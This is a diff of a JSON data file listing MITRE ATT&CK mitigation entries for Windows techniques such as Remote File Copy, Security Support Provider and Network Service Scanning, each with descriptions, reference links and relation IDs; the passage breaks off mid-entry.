"description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros.[[CiteRef::TechNet Office Macro Security]]\n\nFor the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring [[Privilege Escalation]].[[CiteRef::Palo Alto Office Test Sofacy]]\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing.[[CiteRef::MRWLabs Office Persistence Add-ins]]", + "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", "meta": { - "uuid": "a0714f91-88ca-4b18-8094-c40849d314c6" + "external_id": "T1101", + "refs": [ + "https://attack.mitre.org/techniques/T1101", + "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", + "https://technet.microsoft.com/en-us/library/dn408187.aspx" + ] }, - "value": "Office Application Startup Mitigation" + "related": [ + { + "dest-uuid": "6c174520-beea-43d9-aac6-28fb77f3e446", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "9e57c770-5a39-49a2-bb91-253ba629e3ac", + "value": "Security Support Provider Mitigation - T1101" }, { - "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "308855d1-078b-47ad-8d2a-8f9b2713ffb5" + "external_id": "T1120", + "refs": [ + "https://attack.mitre.org/techniques/T1120", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Windows Admin Shares Mitigation" + "related": [ + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "1881da33-fdf2-4eea-afd0-e04caf9c000f", + "value": "Peripheral Device Discovery Mitigation - T1120" }, { - "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files. Additionally, making these environment variables readonly can make sure that the history is preserved [[CiteRef:: Securing bash history]].", + "description": "Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)", "meta": { - "uuid": "3a24df54-e15f-4fcd-819d-a5767944a94e" + "external_id": "T1201", + "refs": [ + "https://attack.mitre.org/techniques/T1201", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements" + ] }, - "value": "Clear Command History Mitigation" + "related": [ + { + "dest-uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "49961e75-b493-423a-9ec7-ac2d6f55384a", + "value": "Password Policy Discovery Mitigation - T1201" }, { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)\n\nWindows Group Policy can be used to manage root certificates and the Flags value of HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root\\ProtectedRoots can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)", "meta": { - "uuid": "a569295c-a093-4db4-9fb4-7105edef85ad" + "external_id": "T1130", + "refs": [ + "https://attack.mitre.org/techniques/T1130", + "https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning", + "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" + ] }, - "value": "Custom Cryptographic Protocol Mitigation" + "related": [ + { + "dest-uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "23061b40-a7b6-454f-8950-95d5ff80331c", + "value": "Install Root Certificate Mitigation - T1130" }, { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", "meta": { - "uuid": "cdecc44a-1dbf-4c1f-881c-f21e3f47272a" + "external_id": "T1031", + "refs": [ + "https://attack.mitre.org/techniques/T1031", + "https://github.com/mattifestation/PowerSploit", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + ] }, - "value": "Remote File Copy Mitigation" + "related": [ + { + "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "fe0aeb41-1a51-4152-8467-628256ea6adf", + "value": "Modify Existing Service Mitigation - T1031" }, { - "description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences.[[CiteRef::Microsoft MS14-025]]", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { - "uuid": "0472af99-f25c-4abe-9fce-010fa3450e72" + "external_id": "T1105", + "refs": [ + "https://attack.mitre.org/techniques/T1105", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "Credentials in Files Mitigation" + "related": [ + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "cdecc44a-1dbf-4c1f-881c-f21e3f47272a", + "value": "Remote File Copy Mitigation - T1105" }, { - "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate.[[CiteRef::Wikipedia HPKP]]", + "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "23061b40-a7b6-454f-8950-95d5ff80331c" + "external_id": "T1106", + "refs": [ + "https://attack.mitre.org/techniques/T1106", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Install Root Certificate Mitigation" + "related": [ + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "56db6ccc-433d-4411-8383-c3fd7053e2c8", + "value": "Execution through API Mitigation - T1106" }, { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often.[[CiteRef::University of Birmingham C2]]", + "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "a766ce73-5583-48f3-b7c0-0bb43c6ef8c7" + "external_id": "T1061", + "refs": [ + "https://attack.mitre.org/techniques/T1061", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Standard Cryptographic Protocol Mitigation" + "related": [ + { + "dest-uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "aaa92b37-f96c-4a0a-859c-b1cb6faeb13d", + "value": "Graphical User Interface Mitigation - T1061" }, { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation of Vulnerability](https://attack.mitre.org/techniques/T1068). \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", "meta": { - "uuid": "7c1796c7-9fc3-4c3e-9416-527295bf5d95" + "external_id": "T1017", + "refs": [ + "https://attack.mitre.org/techniques/T1017" + ] }, - "value": "Commonly Used Port Mitigation" + "related": [ + { + "dest-uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "c88151a5-fe3f-4773-8147-d801587065a4", + "value": "Application Deployment Software Mitigation - T1017" }, { - "description": "Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)", "meta": { - "uuid": "f0a42cad-9b1f-44da-a672-718f18381018" + "external_id": "T1081", + "refs": [ + "https://attack.mitre.org/techniques/T1081", + "http://support.microsoft.com/kb/2962486" + ] }, - "value": "Taint Shared Content Mitigation" + "related": [ + { + "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "0472af99-f25c-4abe-9fce-010fa3450e72", + "value": "Credentials in Files Mitigation - T1081" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "1881da33-fdf2-4eea-afd0-e04caf9c000f" + "external_id": "T1018", + "refs": [ + "https://attack.mitre.org/techniques/T1018", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Peripheral Device Discovery Mitigation" + "related": [ + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "9a902722-cecd-4fbe-a6c9-49333aa0f8c2", + "value": "Remote System Discovery Mitigation - T1018" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities used to invoke execution.", "meta": { - "uuid": "dd9a85ad-6a92-4986-a215-b01d0ce7b987" + "external_id": "T1202", + "refs": [ + "https://attack.mitre.org/techniques/T1202", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Permission Groups Discovery Mitigation" + "related": [ + { + "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "1e614ba5-2fc5-4464-b512-2ceafb14d76d", + "value": "Indirect Command Execution Mitigation - T1202" }, { - "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting[[CiteRef::Beechey 2010]] tools capable of monitoring DLL loads by Windows utilities like AppLocker.[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]]", + "description": "[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.", "meta": { - "uuid": "624d063d-cda8-4616-b4e4-54c04e427aec" + "external_id": "T1220", + "refs": [ + "https://attack.mitre.org/techniques/T1220" + ] }, - "value": "Netsh Helper DLL Mitigation" + "related": [ + { + "dest-uuid": "ebbe170d-aa74-4946-8511-9921243415a3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "7708ac15-4beb-4863-a1a5-da2d63fb8a3c", + "value": "XSL Script Processing Mitigation - T1220" }, { - "description": "Upgrade the operating system to a newer version of Windows if using a version prior to Vista. \n\nLimit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown DLLs.", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)", "meta": { - "uuid": "313c8b20-4d49-40c1-9ac0-4c573aca28f3" + "external_id": "T1032", + "refs": [ + "https://attack.mitre.org/techniques/T1032", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "Winlogon Helper DLL Mitigation" + "related": [ + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "a766ce73-5583-48f3-b7c0-0bb43c6ef8c7", + "value": "Standard Cryptographic Protocol Mitigation - T1032" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { - "uuid": "c620e3a1-fff5-424f-abea-d2b0f3616f67" + "external_id": "T1024", + "refs": [ + "https://attack.mitre.org/techniques/T1024", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "System Information Discovery Mitigation" + "related": [ + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "a569295c-a093-4db4-9fb4-7105edef85ad", + "value": "Custom Cryptographic Protocol Mitigation - T1024" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "015ba1e5-0da6-41bc-8638-f523e6523f9d" + "external_id": "T1082", + "refs": [ + "https://attack.mitre.org/techniques/T1082", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Network Share Discovery Mitigation" + "related": [ + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "c620e3a1-fff5-424f-abea-d2b0f3616f67", + "value": "System Information Discovery Mitigation - T1082" }, { - "description": "Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins.[[CiteRef::Berkley Secure]]", + "description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)", "meta": { - "uuid": "53b3b027-bed3-480c-9101-1247047d0fe6" + "external_id": "T1028", + "refs": [ + "https://attack.mitre.org/techniques/T1028", + "https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm" + ] }, - "value": "Remote Desktop Protocol Mitigation" + "related": [ + { + "dest-uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "3e9f8875-d2f7-4380-a578-84393bd3b025", + "value": "Windows Remote Management Mitigation - T1028" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { - "uuid": "9a902722-cecd-4fbe-a6c9-49333aa0f8c2" + "external_id": "T1043", + "refs": [ + "https://attack.mitre.org/techniques/T1043", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "Remote System Discovery Mitigation" + "related": [ + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "7c1796c7-9fc3-4c3e-9416-527295bf5d95", + "value": "Commonly Used Port Mitigation - T1043" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "bd2554b8-634f-4434-a986-9b49c29da2ae" + "external_id": "T1063", + "refs": [ + "https://attack.mitre.org/techniques/T1063", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Security Software Discovery Mitigation" + "related": [ + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "bd2554b8-634f-4434-a986-9b49c29da2ae", + "value": "Security Software Discovery Mitigation - T1063" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "d8787791-d22e-45bb-a9a8-251d8d0a1ff2" + "external_id": "T1046", + "refs": [ + "https://attack.mitre.org/techniques/T1046", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "System Service Discovery Mitigation" + "related": [ + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "d256cb63-b021-4b4a-bb6d-1b42eea179a3", + "value": "Network Service Scanning Mitigation - T1046" + }, + { + "description": "Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)", + "meta": { + "external_id": "T1047", + "refs": [ + "https://attack.mitre.org/techniques/T1047", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + ] + }, + "related": [ + { + "dest-uuid": 